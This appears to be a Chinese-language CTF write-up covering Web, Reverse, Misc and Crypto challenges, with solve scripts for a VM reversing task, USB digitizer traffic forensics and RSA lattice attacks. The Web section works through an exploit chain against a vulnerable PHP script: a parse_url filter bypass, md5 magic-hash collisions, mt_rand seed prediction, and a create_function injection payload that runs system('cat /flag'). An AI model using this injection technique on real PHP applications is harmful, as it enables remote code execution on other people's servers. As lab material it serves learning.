Web

very_easyphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
highlight_file(__FILE__);
error_reporting(0);
$data = parse_url($_SERVER['REQUEST_URI']);
$han = basename($data['query']);
$a = $_GET['a'];
$b = $_GET['b'];
if (!preg_match('/[a-z0-9_]/i', $han)) {

if (is_string($a) && is_numeric($b)) {
if ($a != $b && md5($a) == md5($b)) {
$week1 = true;
} else {
echo "你行不行,细狗;<br />";
}
} else {

echo "不要耍小聪明哦<br />";
}
} else {

echo "这些都被过滤了哦<br />";
}

if (!isset($time)) {
$time = gmmktime();
}
$b = substr($time, 0, 7);
mt_srand($b);
echo "hint:" . (mt_rand()) . "<br />";
for ($i = 0; $i <= 100; $i++) {

if ($i == 100) {
$sui = mt_rand();
} else {
mt_rand();
}
}

if ($_POST['c'] == $sui) {
$d = $_POST['d'];
if (intval('$d') < 4 && intval($d) > 10000) {
$week2 = true;
echo "不错哦,快去获得flag吧<br />";
} else {
echo "好像不符合要求哦,再想想吧<br />";
}
} else {
echo "再好好想一想哦<br />";
}

if ($week1 && $week2) {
$f = $_POST['flag'];
$e = $_POST['e'];
if (!preg_replace('/[a-z0-9_]/isD', '', $_POST['flag'])) {
echo "这样可不太好哦<br />";
} else {
$f('', $e);
}
} else {
echo "胖虎,你在搞什么.<br />";
}

利用parse_url读到严重错误的url内容会报错,使$han内容为空从而绕过正则表达式的判断。分别传两个加密后为0e的数字和字符串即可绕过week1
http://///index.php?a=QNKCDZ0 &b=240610708
接下来我们从源码中把他的加密脚本提取出来

1
2
3
4
5
6
7
8
9
10
11
12
$time = gmmktime();
$b = substr($time, 0, 7);
mt_srand($b);
echo "hint:" . (mt_rand()) . "<br />";
for ($i = 0; $i <= 100; $i++) {

if ($i == 100) {
$sui = mt_rand();
} else {
mt_rand();
}
}

我们略微修改一下,让我们能得到跑完之后$sui的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$time = gmmktime();
$sui=0;
$b = substr($time, 0, 7);
mt_srand($b);
echo "hint:" . (mt_rand()) . "<br />";
for ($i = 0; $i <= 100; $i++) {

if ($i == 100) {
$sui = mt_rand();
} else {
mt_rand();
}
}
echo $sui;

获取的sui值需要时常更新,然后赋值给$c,$d的值随便给个1E5
对于flag值的正则表达判断可以用%5c绕过,但是php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
而且看到执行的f函数有两个参数,那么要用create_function来执行,最后传的就是

1
flag=%5ccreate function &e=l;}system('cat /flag');/*

Reserve

Blackjack

直接修补程序跳转到结果

downcity

发现可疑函数vm_init:

1
2
3
4
__int64 vm_init()
{
return vm(&s);
}

发现函数vm是一个模拟机器码的操作规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
unsigned __int64 __fastcall vm(_DWORD *a1)
{
char v2; // [rsp+13h] [rbp-Dh] BYREF
unsigned int v3; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
while ( 1 )
{
vm_parse((unsigned int)a1[*a1 + 1], &v2, &v3);
switch ( v2 )
{
case 1:
vm_push(a1, v3);
++*a1;
break;
case 2:
vm_pop(a1);
++*a1;
break;
case 3:
vm_add(a1);
++*a1;
break;
case 4:
vm_and(a1);
++*a1;
break;
case 5:
vm_lsh(a1, v3);
++*a1;
break;
case 6:
vm_rsh(a1, v3);
++*a1;
break;
case 7:
vm_read(a1);
++*a1;
break;
case 8:
vm_print(a1);
++*a1;
break;
case 9:
vm_jmp(a1);
break;
case 10:
vm_be(a1);
break;
case 11:
vm_bl(a1);
break;
case 12:
return v4 - __readfsqword(0x28u);
default:
continue;
}
}
}

数据s经过数据转换是一段操作数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
.data:00000000000050E4 07 00 00 00                   dd 7
.data:00000000000050E8 01 01 00 00 dd 101h
.data:00000000000050EC 03 00 00 00 dd 3
.data:00000000000050F0 01 45 00 00 dd 4501h
.data:00000000000050F4 01 08 00 00 dd 801h
.data:00000000000050F8 0A 00 00 00 dd 0Ah
.data:00000000000050FC 01 70 01 00 dd 17001h
.data:0000000000005100 09 00 00 00 dd 9
.data:0000000000005104 02 00 00 00 dd 2
.data:0000000000005108 02 00 00 00 dd 2
.data:000000000000510C 02 00 00 00 dd 2
.data:0000000000005110 07 00 00 00 dd 7
.data:0000000000005114 01 02 00 00 dd 201h
.data:0000000000005118 03 00 00 00 dd 3
.data:000000000000511C 01 43 00 00 dd 4301h
.data:0000000000005120 01 13 00 00 dd 1301h
.data:0000000000005124 0A 00 00 00 dd 0Ah
.data:0000000000005128 01 70 01 00 dd 17001h
.data:000000000000512C 09 00 00 00 dd 9
.data:0000000000005130 02 00 00 00 dd 2
.data:0000000000005134 02 00 00 00 dd 2
.data:0000000000005138 02 00 00 00 dd 2
.data:000000000000513C 07 00 00 00 dd 7
.data:0000000000005140 01 03 00 00 dd 301h
.data:0000000000005144 03 00 00 00 dd 3
.data:0000000000005148 01 56 00 00 dd 5601h
.data:000000000000514C 01 1E 00 00 dd 1E01h
.data:0000000000005150 0A 00 00 00 dd 0Ah
.data:0000000000005154 01 70 01 00 dd 17001h
.data:0000000000005158 09 00 00 00 dd 9
.data:000000000000515C 02 00 00 00 dd 2
.data:0000000000005160 02 00 00 00 dd 2
.data:0000000000005164 02 00 00 00 dd 2
.data:0000000000005168 07 00 00 00 dd 7
.data:000000000000516C 01 01 00 00 dd 101h
.data:0000000000005170 03 00 00 00 dd 3
.data:0000000000005174 01 44 00 00 dd 4401h
.data:0000000000005178 01 29 00 00 dd 2901h
.data:000000000000517C 0A 00 00 00 dd 0Ah
.data:0000000000005180 01 70 01 00 dd 17001h
.data:0000000000005184 09 00 00 00 dd 9
.data:0000000000005188 02 00 00 00 dd 2
.data:000000000000518C 02 00 00 00 dd 2
.data:0000000000005190 02 00 00 00 dd 2
.data:0000000000005194 07 00 00 00 dd 7
.data:0000000000005198 01 02 00 00 dd 201h
.data:000000000000519C 03 00 00 00 dd 3
.data:00000000000051A0 01 56 00 00 dd 5601h
.data:00000000000051A4 01 34 00 00 dd 3401h
.data:00000000000051A8 0A 00 00 00 dd 0Ah
.data:00000000000051AC 01 70 01 00 dd 17001h
.data:00000000000051B0 09 00 00 00 dd 9
.data:00000000000051B4 02 00 00 00 dd 2
.data:00000000000051B8 02 00 00 00 dd 2
.data:00000000000051BC 02 00 00 00 dd 2
.data:00000000000051C0 07 00 00 00 dd 7
.data:00000000000051C4 01 03 00 00 dd 301h
.data:00000000000051C8 03 00 00 00 dd 3

手搓()读机器码可出答案
DASCTF{h1Den_Vm_I3_Soo0_Fun_!}

Misc

Draw_what_you_like

拿到手直接上AXIOM Process

找到几个可疑的文件,用volatility3把这几个文件都跑出来

Flag.txt中直接给了第一段的flag01{forensics_}
之后打开flag2.zip,是个sqlite的文件,用sqlite3转成sql文件打开发现了敏感字符串

刚好draw.zip是加密的,直接用Digital5211314解压得到pcap流量包
流量包都是2.5.2进行回应,查看2.5.0的DEVICE DESCRIPTOR

是个数位笔,也就是流量是数位板的流量,用tshark提取出usnhid.data。在网上找到了一篇分析数位板流量的文章
https://www.cnblogs.com/zysgmzb/p/16667154.html
这里面和本题的流量略微有些区别,本题的y流量是9-13位,修改一下里面的offset

接下来写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
import matplotlib.pyplot as plt
data=[]
with open('hiddata.txt',"r") as f:
for line in f.readlines():
data.append(line)
X = []
Y = []
for line in data:
x0=int(line[4:6],16)
x1=int(line[6:8],16)
x=x0+x1*256
y0=int(line[8:10],16)
y1=int(line[10:12],16)
y=y0+y1*256
X.append(x)
Y.append(-y)
fig = plt.figure()
ax1 = fig.add_subplot(111)
ax1.set_title("result")
ax1.scatter(X, Y, c='b', marker='o')
plt.show()

最后一个是secret.zip,打开未知格式,八成就是veracrypt了,另外还有最后一个打什么CTF.jpg,那大概率是秘钥了,直接解密发现错误,winhex打开发现后缀多了一堆0,删除后正常解密挂载,得到最后一部分

拼接起来就是最后的flag: forensics_MISC_DRAW_Verakey_graph

Crypto

insecure_padding

经测试得到

$$ C \equiv (m \times 2 ^ {1040} + 777p +666)^3 \mod n $$

于是有

$$ C \equiv ( m \times 2 ^ {1040} + 666 )^3 \mod p $$

coppersmith 求小根即可

1
2
3
4
5
6
7
8
9
10
from Crypto.Util.number import * 
c,e,n,len_pad = (11933331191813812256325046341094761254617180420324630661801601595308210081512886199140350085774458012302348345161897310478520684187892636205376775882542030710453687316679156634607698536912539999847240472385775854381103486198612767122009780041785220241663307760491699892303259600093817957324293717178123893664313547870460181936283477289029428950611459484805364390503487619676794166358047636359524103138509752217552291498141048509236471615548177017684230320627457, 3, 1345974903151028106176188777499919289689885052993818155551239513162986365479059645712347472719763678799888312063629534224676532524320490059299999431455806985776161385636341889882617880557005343019148419971407438285456200388681742721058826527478752200546957229924712840178042652788689761602760552457535667154424045780264689394678280189407534443469304768432295723527834457536647823320807747766083091825227699222804959851169910812454526260545186908048603618547346519, 130)
R.<x> = PolynomialRing(Zmod(n))
f = (x*2^1040 + 666)^3 - c
f = f.monic()
res = f.small_roots(X=256^20,beta=0.4)
m = int(res[0])
flag = b"DASCTF{" + long_to_bytes(m) + b"}"
print(flag)
# DASCTF{P@dding_1s_important}

EZ_RSA_5

详情参考文章:
https://blog.csdn.net/shshss64/article/details/130036481
https://www.cnblogs.com/JustGo12/p/17773767.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import gmpy2
import sympy
from Crypto.Util.number import *
from mpmath.libmp.backend import sage_utils

e=65537
K = 3995906172915513953882445609459153360257793100017419734812726991957587919349807133880917342081892953635338598486012480314014321088548439223094566668968735207492741920107799674089668131177188073985125603237341660194741854181484934968528811686828555591685803851909027192343245722679639249600176791158349393704697742640442010893811830528349203606514981272974154582682489532205008927740716725904614810707240205595586894383039181983075907373556864396176123489201513001026708388504250801785422323131912494763394371589512367935031912074535458595633402462463667072692589863355712935552396330534658448628449816139943205511637
dp = 53589538487289875479012684116246778147274714450209576105277816626983528993595125486641833027290704077932308918237978477501981907543847383655230156916578979044682282870153618849419762148348930652564442177633668690473147864322377146889467662769284463217004314651469157455678363085510100707437896627192687923547
# for i in range(1,e):
# if (dp*e-1)%i == 0:
# if (K//((dp*e-1)//i+1))*((dp*e-1)//i+1) == K:
# P = (dp * e - 1) // i + 1
# Q = K//P
# phi_K = (P - 1) * (Q - 1)
# print(P,Q,phi_K)
phi_K=3995906172915513953882445609459153360257793100017419734812726991957587919349807133880917342081892953635338598486012480314014321088548439223094566668968735207492741920107799674089668131177188073985125603237341660194741854181484934968528811686828555591685803851909027192343245722679639249600176791158349393704563491939855074908131201080601789660278277463091128258620162393005493660325529049372273750256050052601812762275558341459733334059173575187257879545301966909946591430521682456999675425592588401663829861424645503090962151175185283606430962734512615168075590554358536815875975156290442548837984467548691863947916
P=89706459192396530593549443920371512846107199328839237547229758327568121878195799315931797683572600269608687634404290962684155916188631860811034680949192525086238991914925741833782609688548028611711472171734508568556069872649373734405124829887118997365400928949792704456407061927794321219467125520582544212039
Q=44544241394539455087080003827042433390596610554187086515097380871947145536991877216409262767617552724165444473076549560658417398194657348107209262950353565993877966067642602951964287850776064487853037993132356275513691026700801254797314898063932907251598380047383415220014112316421578570998223070668797351683
x = 2636020992576559969055483957060200941734026828135579110378070592732862908176025649071069827089999996350015210043636523971348821850565913816154887832272305
y = 7886513101716991094728039196608717849158915101115291363845210343608904418304571443491051842715241903123031976527174063528298034452215971449949398656913945
phi = 115505961171763309547793530782914001823768056515083869218337105172209622283311582473506324170565971054492347897941697574972266679462737991988159654350224823122310342866537098903019067348499259894857405865405379172014292034138593409888061494667098647947191077373457924105640280156013690526621147715122416478264

d=inverse(e,phi_K)
def solve(a, b, c):
D = b ** 2 - 4 * a * c
# assert gmpy2.is_square(D)
x1 = (-b + gmpy2.isqrt(D)) // (2 * a)
x2 = (-b - gmpy2.isqrt(D)) // (2 * a)
return x1, x2

a = x - 1
b = x * y - 1 + (x - 1) * (y - 1) - phi
c = (y - 1) * (x * y - 1)
k1, k2 = solve(a, b, c)
if (x * y - 1) % k1 == 0:
k2 = (x * y - 1) // k1
elif (x * y - 1) % k2 == 0:
k1, k2 = k2, (x * y - 1) // k2
else:
assert False
p, q = x + k2, y + k1
n = p * q
print(n)
n=115505961171763309547793530782914001823768056515083869218337105172209622283311582473506324170565971054492347897941697574972266679462737991988159654350224844635221574368688480459987273732637891726909837938053904022011748991992053535267475380086852050926409241227913689769196157783145810686539370237696939847799
# sagemath运行
PR.<m> = PolynomialRing(Zmod(n))
f = m^2 - (P+Q)*m + P*Q
x0 = f.small_roots()

print(long_to_bytes(int(x0[0])))
# int(x0[0])=428444688380257661673593584032024643021670880089491721380221

real_rsa_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from sage.all import *
from Crypto.Util.number import getPrime, bytes_to_long
from random import randint
from itertools import product, combinations
n =10762816985859495139869192967586986169700585407650401758492914432007691215829829791170341055156952976765180258893167491520857418187717684546804091210840024146052291097940830614742073364552838290223328178129141450654974155663740167060363586046667418448000998787456156206763022665332848878718353207304752459866785987037244104966604168107428925002453961599326527075890562706405965932261029119740876890925151892381057306445871753182344654732310415856215026583156200205190290229513783502698870703593936084079889610093661632981253566737244298490483887491349685327054110713416608442026862452848911878315454050801737258113439
c =8447423691845267507910623881220381551666985692061130076228863364484545883136565538153853576456124232843440600389531458361591643000579120508101213567369995084232851488318213585166763995128971205060742692924173515480605390369108788114163397502997675308466114417550035850225404358223296655286051772334268473129000095354558509683438282602907669640723660576086897314122077227840018348574919569323961412521005657567879672836500813700075919902705930777791052105528663343979204155473143542923352804010273593743826083253263605472374027833649945128024719518687833938452374975314769405521418020888003402906733694105525873475248
hints =[1037185901048299733994080148617255395054343048856247908410601987778479809878530408488320575174117338778636437390189707472850545495340030261432470823966833296599326227471363743571435638488350843501335163114522221236295887873384511904404076136719828753484908833522690485308801343692672087896916151728355339557063865979845334871596911380941183991996355328789626661832721727696996294542137065146082233136253,846732177805839592702453549495036743295384625187602625155533672143689218095451041579929817175558384214705957953439776505091441694232911111216302515231684660931114920885206001996415471667166302864276782382471749478878838743894218008585118570123564743506751263851346701898521514512630773037841739309871594639329517489797555801372814456505858967177535379362107863024397586339230559713504606369217391562005,1217849239241871953321322081958369125171815220222141431376710417230239975203684179024894356985970928925706068277775190791530588613770873433292421516394141880830700610067858856573183833274026726718793895096348188237821645080587133237246160317789656442199700812194023448514540614924352568135486220217732774487120710678057024335377334874015695483740444589213501325972313562358601186396370236713889278627191]
h1, h2, h3 = hints
L = matrix(hints).T.augment(matrix.identity(3))
L[:, 0] *= n
L = L.LLL()
for v in L:
print(v)
print([x.bit_length() for x in v])
_, t, u, v = L[0]
a1s, a2s, a3s, b1s, b2s, b3s = QQ["a1,a2,a3,b1,b2,b3"].gens()
for sign in product((-1, 1), repeat=3):
I = ideal(
[
a3s * b2s - a2s * b3s + sign[0] * t,
a3s * b1s - a1s * b3s + sign[1] * u,
a2s * b1s - a1s * b2s + sign[2] * v,
]
)
if I.dimension() != -1:
print(sign)
print("dim", I.dimension())

def step2(f):
print("=" * 40)
print(f)
L = matrix(f.coefficients()).T.augment(matrix.identity(3))
L[:, 0] *= n
L = L.LLL()
print(L[0])
print(L[1])
v1 = L[0]
v2 = L[1]
xs = []
for c1, c2 in product((-2, -1, 0, 1, 2), repeat=2):
v = c1 * v1 + c2 * v2
_, x1, x2, x3 = v
if all([0 <= x <= 2**312 for x in (x1, x2, x3)]):
xs.append((x1, x2, x3))
for g1, g2 in combinations(xs, 2):
a1r, a2r, a3r = g1
b1r, b2r, b3r = g2
q = gcd(a2r * h1 - a1r * h2, n)
if 1 < q < n:
p = n // q
e = 0x10001
d = inverse_mod(e, (p - 1) * (q - 1))
m = pow(c, d, n)
flag = int(m).to_bytes(1024, "big").strip(b"\x00")
print(flag)
exit()
step2(I.groebner_basis()[1])